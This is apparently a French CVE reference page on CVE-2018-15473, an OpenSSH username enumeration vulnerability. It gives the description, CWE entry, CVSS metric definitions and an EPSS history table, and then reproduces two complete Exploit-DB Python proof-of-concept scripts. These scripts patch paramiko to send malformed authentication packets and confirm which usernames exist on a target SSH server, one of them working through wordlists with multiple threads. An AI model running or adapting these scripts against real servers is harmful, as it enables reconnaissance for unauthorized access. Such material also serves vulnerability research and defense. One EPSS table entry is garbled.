CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
5.3
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
Low
There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
None
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
None
There is no impact to availability within the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
5
AV:N/AC:L/Au:N/C:P/I:N/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
55.87%
–
–
–
–
2021-09-05
–
55.87%
–
–
–
2022-01-09
–
55.87%
–
–
–
2022-02-06
–
–
36.61%
–
–
2022-04-03
–
–
36.61%
–
–
2023-02-26
–
–
46.51%
–
–
2023-03-12
–
–
–
2.79%
–
2023-07-09
–
–
–
2.74%
–
2023-07-30
–
–
–
2.52%
–
2023-08-13
–
–
–
2.64%
–
2023-09-03
–
–
–
3.06%
–
2023-10-08
–
–
–
2.5%
–
2023-10-22
–
–
–
3.25%
–
2024-01-14
–
–
–
2.36%
–
2024-03-03
–
–
–
2.36%
–
2024-04-07
–
–
–
1.95%
–
2024-04-14
–
–
–
1.95%
–
2024-06-02
–
–
–
2.08%
–
2024-06-30
–
–
–
2.37%
–
2024-12-22
–
–
–
3.32%
–
2025-01-19
–
–
–
3.32%
–
2025-03-18
–
–
–
–
90.73%
2025-03-30
–
–
–
–
90.53%
2025-03-30
–
–
–
–
90.53,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2018-08-20 22h00 +00:00 Auteur : Justin Gardner EDB Vérifié : Yes
# Exploit: OpenSSH 7.7 - Username Enumeration
# Author: Justin Gardner
# Date: 2018-08-20
# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz
# Affected Versions: OpenSSH version < 7.7
# CVE: CVE-2018-15473
###########################################################################
# ____ _____ _____ _ _ #
# / __ \ / ____/ ____| | | | #
# | | | |_ __ ___ _ __ | (___| (___ | |__| | #
# | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | #
# | |__| | |_) | __/ | | |____) |___) | | | | #
# \____/| .__/ \___|_| |_|_____/_____/|_| |_| #
# | | Username Enumeration #
# |_| #
# #
###########################################################################
#!/usr/bin/env python
import argparse
import logging
import paramiko
import multiprocessing
import socket
import sys
import json
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
# create custom exception
class BadUsername(Exception):
def __init__(self):
pass
# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
pass
# create function to call when username was invalid
def call_error(*args, **kwargs):
raise BadUsername()
# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
old_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = add_boolean
result = old_parse_service_accept(*args, **kwargs)
#return old add_boolean function so start_client will work again
paramiko.message.Message.add_boolean = old_add_boolean
return result
# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
sock = socket.socket()
sock.connect((args.hostname, args.port))
# instantiate transport
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
# server was likely flooded, retry up to 3 times
transport.close()
if tried < 4:
tried += 1
return checkUsername(username, tried)
else:
print '[-] Failed to negotiate SSH transport'
try:
transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
except BadUsername:
return (username, False)
except paramiko.ssh_exception.AuthenticationException:
return (username, True)
#Successful auth(?)
raise Exception("There was an error. Is this the correct version of OpenSSH?")
def exportJSON(results):
data = {"Valid":[], "Invalid":[]}
for result in results:
if result[1] and result[0] not in data['Valid']:
data['Valid'].append(result[0])
elif not result[1] and result[0] not in data['Invalid']:
data['Invalid'].append(result[0])
return json.dumps(data)
def exportCSV(results):
final = "Username, Valid\n"
for result in results:
final += result[0]+", "+str(result[1])+"\n"
return final
def exportList(results):
final = ""
for result in results:
if result[1]:
final+=result[0]+" is a valid user!\n"
else:
final+=result[0]+" is not a valid user!\n"
return final
# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
sock.close()
except socket.error:
print '[-] Connecting to host failed. Please check the specified host and port.'
sys.exit(1)
if args.username: #single username passed in
result = checkUsername(args.username)
if result[1]:
print result[0]+" is a valid user!"
else:
print result[0]+" is not a valid user!"
elif args.userList: #username list passed in
try:
f = open(args.userList)
except IOError:
print "[-] File doesn't exist or is unreadable."
sys.exit(3)
usernames = map(str.strip, f.readlines())
f.close()
# map usernames to their respective threads
pool = multiprocessing.Pool(args.threads)
results = pool.map(checkUsername, usernames)
try:
outputFile = open(args.outputFile, "w")
except IOError:
print "[-] Cannot write to outputFile."
sys.exit(5)
if args.outputFormat=='list':
outputFile.writelines(exportList(results))
print "[+] Results successfully written to " + args.outputFile + " in List form."
elif args.outputFormat=='json':
outputFile.writelines(exportJSON(results))
print "[+] Results successfully written to " + args.outputFile + " in JSON form."
elif args.outputFormat=='csv':
outputFile.writelines(exportCSV(results))
print "[+] Results successfully written to " + args.outputFile + " in CSV form."
else:
print "".join(results)
outputFile.close()
else: # no usernames passed in
print "[-] No usernames provided to check"
sys.exit(4)
Date de publication : 2018-08-15 22h00 +00:00 Auteur : Matthew Daley EDB Vérifié : Yes
#!/usr/bin/env python
# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
import argparse
import logging
import paramiko
import socket
import sys
class InvalidUsername(Exception):
pass
def add_boolean(*args, **kwargs):
pass
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)
def userauth_failure(*args, **kwargs):
raise InvalidUsername()
paramiko.auth_handler.AuthHandler._handler_table.update({
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
except socket.error:
print '[-] Failed to connect'
sys.exit(1)
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print '[-] Failed to negotiate SSH transport'
sys.exit(2)
try:
transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print '[*] Invalid username'
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print '[+] Valid username'